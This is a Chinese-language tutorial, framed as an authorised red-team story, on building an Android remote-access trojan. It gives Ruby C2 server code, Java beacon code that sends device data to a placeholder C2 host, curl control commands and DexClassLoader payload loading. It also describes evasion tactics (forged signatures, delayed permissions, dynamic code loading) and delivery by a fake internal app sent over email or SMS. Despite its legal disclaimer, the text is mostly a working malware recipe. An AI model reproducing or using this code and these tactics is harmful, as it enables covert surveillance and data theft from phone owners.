一、从一次渗透测试说起

在一次授权的红队评估中,我们接到了一个有趣的任务——目标是一家互联网公司,核心成员都在使用Android设备,日常通过公司开发的内部App和其他员工及领导沟通交流。任务要求我们模拟黑客的行为,尝试获取数据和控制权。

在这次渗透中,常见的邮件钓鱼和水坑攻击并未成功,因为目标人员的安全意识相对较高。然而,他们忽略了一点:Android设备的防御相对较弱,许多员工在安装App时对权限审核不够严格。这为我们提供了一个绝佳的切入点——开发一个Android RAT(远程访问木马),伪装成正常App进行投放,最终通过它实现对目标设备的控制。

接下来,将完整展示Android RAT的开发过程。本文仅供授权渗透测试和安全研究使用,滥用技术可能违法,请务必遵守法律和道德底线。

黑客示意图

---

二、技术选型与原理剖析

在开发Android RAT时,选择合适的技术栈和策略至关重要。这不仅影响到木马的功能,还直接决定了能否成功绕过目标设备上的安全防护措施。

1. Android RAT的核心功能

一个真正实用的Android RAT需要具备以下几项功能:

  • 远程命令执行:攻击者能够在目标设备上运行自定义命令。
  • 文件管理:上传、下载、删除文件。
  • 屏幕捕获:实时获取受害者设备的屏幕内容。
  • 摄像头控制:拍摄前/后置摄像头的画面。
  • 键盘记录:捕获受害者的输入。
  • 隐匿运行:伪装成正常的应用,避免被用户发现。

2. 技术栈选择

  • 编程语言:使用Ruby进行服务器端C2(Command and Control)开发,利用Shell和Java构建Android客户端。
  • 通信方式:基于HTTP协议进行C2通信,配合AES加密确保数据隐秘性。
  • 权限需求:AndroidManifest中需要申请高风险权限,如摄像头、存储、录音等。

3. 绕过防护的关键

  • 签名伪造:伪造知名应用的签名以降低目标用户的警惕性。
  • 权限伪装:避免直接暴露高风险权限,延迟申请,伪装成合法用途。
  • 动态加载代码:通过动态加载Dex文件的方式执行恶意功能,绕过部分静态分析。

---

三、环境搭建:从零开始构建实验场景

要开发并测试Android RAT,首先需要搭建一个实验环境。以下是详细步骤:

1. 准备开发工具

  • 操作系统:Ubuntu 22.04或macOS
  • Android Studio:用于编写和打包Android客户端。
  • Ruby环境:用于编写C2服务器代码。
  • adb工具:用于与Android设备交互。
  • 虚拟机/真实设备:建议使用Genymotion虚拟机或闲置的Android手机。

<pre><code class="language-bash"># 安装必要环境 sudo apt update &amp;&amp; sudo apt install -y openjdk-11-jdk ruby git adb gem install sinatra thin</code></pre>

黑客示意图

2. 创建C2服务器

C2服务器是Android RAT的核心,它需要接收来自目标设备的数据,并发送控制指令。

<pre><code class="language-ruby">require &#039;sinatra&#039; require &#039;json&#039;

AES加密密钥

KEY = &quot;YOUR_SECRET_KEY&quot;

存储受感染设备的数据

INFECTED_DEVICES = {}

接收设备注册请求

post &#039;/register&#039; do data = JSON.parse(request.body.read) device_id = data[&#039;device_id&#039;] INFECTED_DEVICES[device_id] = data &quot;Device Registered: #{device_id}&quot; end

接收设备上报的数据

post &#039;/data&#039; do data = JSON.parse(request.body.read) puts &quot;Data from #{data[&#039;device_id&#039;]}: #{data[&#039;info&#039;]}&quot; &quot;Data Received&quot; end

发送控制命令

get &#039;/command/:device_id&#039; do device_id = params[&#039;device_id&#039;]

根据业务逻辑生成命令,比如抓取摄像头照片

{ command: &#039;TAKE_PICTURE&#039; }.to_json end</code></pre>

运行该C2服务器: <pre><code class="language-bash">ruby c2_server.rb</code></pre>

3. 制作恶意apk

在Android Studio中创建一个空白项目,将以下代码嵌入到MainActivity中:

<pre><code class="language-java">// 简单反向连接payload示例 new Thread(() -&gt; { try { URL url = new URL(&quot;http://&lt;C2_SERVER_IP&gt;:4567/register&quot;); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod(&quot;POST&quot;); conn.setDoOutput(true); conn.setRequestProperty(&quot;Content-Type&quot;, &quot;application/json&quot;);

JSONObject json = new JSONObject(); json.put(&quot;device_id&quot;, Build.SERIAL); json.put(&quot;info&quot;, &quot;Device Registered&quot;);

OutputStream os = conn.getOutputStream(); os.write(json.toString().getBytes()); os.close();

conn.getResponseCode(); } catch (Exception e) { e.printStackTrace(); } }).start();</code></pre>

将恶意apk打包后,使用adb安装到测试设备上: <pre><code class="language-bash">adb install RAT.apk</code></pre>

---

四、实战:从投放到控制目标

在制作好Android RAT之后,接下来需要设法将它部署到目标设备。

1. 社工诱导

伪装成目标用户感兴趣的App,比如公司内部的工具软件,将RAT隐藏其中,并通过邮件附件、短信链接等方式投递。

黑客示意图

2. 测试控制功能

当目标设备安装并运行恶意App后,可以通过C2服务器查看设备是否成功上线: <pre><code class="language-bash">curl http://&lt;C2_SERVER_IP&gt;:4567/devices</code></pre>

获取设备上线后,可以尝试发送指令,比如启动摄像头: <pre><code class="language-bash">curl http://&lt;C2_SERVER_IP&gt;:4567/command/&lt;DEVICE_ID&gt;</code></pre>

黑客示意图

---

五、免杀与隐匿技巧

在实际渗透中,RAT的隐匿性和免杀能力直接影响到攻击的成败。以下是一些实用技巧:

1. 动态加载Dex文件

将恶意代码封装到独立的Dex文件中,运行时动态加载,避免在静态分析中暴露。

<pre><code class="language-java">DexClassLoader loader = new DexClassLoader(&quot;/sdcard/payload.dex&quot;, getCodeCacheDir().getAbsolutePath(), null, getClassLoader()); Class&lt;?&gt; clazz = loader.loadClass(&quot;com.example.Payload&quot;); Method method = clazz.getMethod(&quot;execute&quot;); method.invoke(null);</code></pre>

---

六、总结与反思

从技术角度来看,Android RAT的开发并不复杂,核心难点在于隐匿性和投放策略。但从道德层面,开发此类工具需要十分谨慎,滥用可能带来严重后果。在合法授权的前提下,研究这些技术是为了更好地防御,而非伤害他人。